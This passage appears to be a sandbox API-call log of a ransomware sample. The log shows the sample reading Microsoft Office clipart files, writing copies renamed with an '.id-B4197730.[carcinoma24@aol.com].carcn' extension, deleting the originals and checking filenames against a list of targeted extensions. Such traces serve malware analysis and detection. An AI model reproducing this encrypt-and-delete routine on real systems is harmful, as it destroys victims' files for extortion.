lpNumberOfBytesRead=0x2ebfecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0307.658] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1de0, lpOverlapped=0x0) returned 1 [0307.659] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.659] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.660] SetEndOfFile (hFile=0x348) returned 1 [0307.660] CloseHandle (hObject=0x348) returned 1 [0307.660] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.660] SetEndOfFile (hFile=0x324) returned 1 [0307.661] CloseHandle (hObject=0x324) returned 1 [0307.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0307.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.664] lstrlenW (lpString=".doc") returned 4 [0307.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.664] lstrlenW (lpString=".docx") returned 5 [0307.665] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.665] lstrlenW (lpString=".pdf") returned 4 [0307.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString=".xls") returned 4 [0307.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.665] lstrlenW (lpString=".xlsx") returned 5 [0307.665] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.665] lstrlenW (lpString=".ppt") returned 4 [0307.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.665] lstrlenW (lpString=".zip") returned 4 [0307.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.665] lstrlenW (lpString=".rar") returned 4 [0307.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString=".bz2") returned 4 [0307.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString=".7z") returned 3 [0307.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.665] lstrlenW (lpString=".dbf") returned 4 [0307.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.665] lstrlenW (lpString=".1cd") returned 4 [0307.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0307.665] lstrlenW (lpString=".jpg") returned 4 [0307.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.666] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.666] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.667] GetLastError () returned 0x0 [0307.667] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3734, lpOverlapped=0x0) returned 1 [0307.693] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3740, lpOverlapped=0x0) returned 1 [0307.695] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.696] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.696] SetEndOfFile (hFile=0x348) returned 1 [0307.696] CloseHandle (hObject=0x348) returned 1 [0307.696] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.696] SetEndOfFile (hFile=0x324) returned 1 [0307.697] CloseHandle (hObject=0x324) returned 1 [0307.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0307.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.698] lstrlenW (lpString=".doc") returned 4 [0307.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.698] lstrlenW (lpString=".docx") returned 5 [0307.698] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.698] lstrlenW (lpString=".pdf") returned 4 [0307.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.698] lstrlenW (lpString=".xls") returned 4 [0307.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.698] lstrlenW (lpString=".xlsx") returned 5 [0307.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.698] lstrlenW (lpString=".ppt") returned 4 [0307.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.699] lstrlenW (lpString=".zip") returned 4 [0307.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.699] lstrlenW (lpString=".rar") returned 4 [0307.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.699] lstrlenW (lpString=".bz2") returned 4 [0307.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.699] lstrlenW (lpString=".7z") returned 3 [0307.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.699] lstrlenW (lpString=".dbf") returned 4 [0307.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.699] lstrlenW (lpString=".1cd") returned 4 [0307.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0307.699] lstrlenW (lpString=".jpg") returned 4 [0307.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.699] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.700] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.701] GetLastError () returned 0x0 [0307.701] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x69cc, lpOverlapped=0x0) returned 1 [0307.737] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x69d0, lpOverlapped=0x0) returned 1 [0307.739] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.739] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.739] SetEndOfFile (hFile=0x348) returned 1 [0307.739] CloseHandle (hObject=0x348) returned 1 [0307.739] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.739] SetEndOfFile (hFile=0x324) returned 1 [0307.741] CloseHandle (hObject=0x324) returned 1 [0307.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0307.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.742] lstrlenW (lpString=".doc") returned 4 [0307.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.742] lstrlenW (lpString=".docx") returned 5 [0307.742] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.742] lstrlenW (lpString=".pdf") returned 4 [0307.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.742] lstrlenW (lpString=".xls") returned 4 [0307.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.742] lstrlenW (lpString=".xlsx") returned 5 [0307.742] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.742] lstrlenW (lpString=".ppt") returned 4 [0307.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.742] lstrlenW (lpString=".zip") returned 4 [0307.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.742] lstrlenW (lpString=".rar") returned 4 [0307.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.742] lstrlenW (lpString=".bz2") returned 4 [0307.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.742] lstrlenW (lpString=".7z") returned 3 [0307.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.743] lstrlenW (lpString=".dbf") returned 4 [0307.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.743] lstrlenW (lpString=".1cd") returned 4 [0307.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0307.743] lstrlenW (lpString=".jpg") returned 4 [0307.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.743] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.743] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.744] GetLastError () returned 0x0 [0307.744] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4330, lpOverlapped=0x0) returned 1 [0307.762] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4340, lpOverlapped=0x0) returned 1 [0307.763] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.763] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.763] SetEndOfFile (hFile=0x348) returned 1 [0307.763] CloseHandle (hObject=0x348) returned 1 [0307.763] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.764] SetEndOfFile (hFile=0x324) returned 1 [0307.764] CloseHandle (hObject=0x324) returned 1 [0307.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString=".doc") returned 4 [0307.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString=".docx") returned 5 [0307.766] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.766] lstrlenW (lpString=".pdf") returned 4 [0307.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString=".xls") returned 4 [0307.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.766] lstrlenW (lpString=".xlsx") returned 5 [0307.766] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.766] lstrlenW (lpString=".ppt") returned 4 [0307.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString=".zip") returned 4 [0307.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.766] lstrlenW (lpString=".rar") returned 4 [0307.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString=".bz2") returned 4 [0307.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString=".7z") returned 3 [0307.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString=".dbf") returned 4 [0307.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString=".1cd") returned 4 [0307.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0307.766] lstrlenW (lpString=".jpg") returned 4 [0307.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.779] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.779] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.806] GetLastError () returned 0x0 [0307.806] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0308.887] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0309.350] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0309.350] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0309.350] SetEndOfFile (hFile=0x384) returned 1 [0309.351] CloseHandle (hObject=0x384) returned 1 [0309.351] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.351] SetEndOfFile (hFile=0x318) returned 1 [0309.351] CloseHandle (hObject=0x318) returned 1 [0309.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0309.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.352] lstrlenW (lpString=".doc") returned 4 [0309.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.352] lstrlenW (lpString=".docx") returned 5 [0309.352] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0309.353] lstrlenW (lpString=".pdf") returned 4 [0309.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString=".xls") returned 4 [0309.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.353] lstrlenW (lpString=".xlsx") returned 5 [0309.353] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0309.353] lstrlenW (lpString=".ppt") returned 4 [0309.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.353] lstrlenW (lpString=".zip") returned 4 [0309.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.353] lstrlenW (lpString=".rar") returned 4 [0309.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString=".bz2") returned 4 [0309.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString=".7z") returned 3 [0309.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.353] lstrlenW (lpString=".dbf") returned 4 [0309.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.353] lstrlenW (lpString=".1cd") returned 4 [0309.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0309.353] lstrlenW (lpString=".jpg") returned 4 [0309.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.355] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.355] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0309.356] GetLastError () returned 0x0 [0309.356] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1498, lpOverlapped=0x0) returned 1 [0309.430] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x14a0, lpOverlapped=0x0) returned 1 [0309.431] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0309.431] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0309.432] SetEndOfFile (hFile=0x384) returned 1 [0309.432] CloseHandle (hObject=0x384) returned 1 [0309.432] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.432] SetEndOfFile (hFile=0x318) returned 1 [0309.445] CloseHandle (hObject=0x318) returned 1 [0309.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0309.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0309.447] lstrlenW (lpString=".doc") returned 4 [0309.447] lstrcmpiW 